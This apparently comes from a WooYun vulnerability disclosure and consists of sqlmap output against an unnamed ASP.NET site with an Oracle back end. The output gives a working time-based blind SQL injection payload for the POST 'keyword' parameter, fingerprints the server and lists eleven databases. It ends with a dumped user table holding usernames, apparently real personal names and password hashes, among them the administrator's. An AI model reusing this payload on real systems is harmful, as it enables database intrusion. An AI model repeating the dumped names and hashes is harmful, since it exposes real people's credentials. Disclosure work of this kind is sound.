WooYun.org

sqlmap identified the following injection points with a total of 322 HTTP(s) requests:
---
Parameter: keyword (POST)
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: publish_day=30&keyword=88952634%' AND 7563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(113)||CHR(121)||CHR(70),5) AND '%'='
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Oracle
available databases [11]:
[*] CTXSYS
[*] MDSYS
[*] ORDSYS
[*] OUTLN
[*] SWINFO
[*] SWWEB
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB

+---------+---------+------------+---------------+-----------+-----------+------------+----------------------------------+
| USER_ID | RAND_ID | GRADING_ID | DEPARTMENT_ID | WORK_FLAG | USER_NAME | USER_ORDER | USER_PASSWORD                    |
+---------+---------+------------+---------------+-----------+-----------+------------+----------------------------------+
| admin   | 20      | 13         | admin"        | 是         | 系统管理员     | 1          | 48c13864cee707ab05033031b4b5e88a |
| lj1     | 20      | 13         | ltx           | 是         | 林 静       | 28         | 28debd8473f4d3f5081c8d8c4def1378 |
| zgl1    | 50      | 13         | BSHHZ         | 张高林       | 11         | 59ae7951c451c7b4fb608d818f762886 |
+---------+---------+------------+---------------+-----------+-----------+------------+----------------------------------+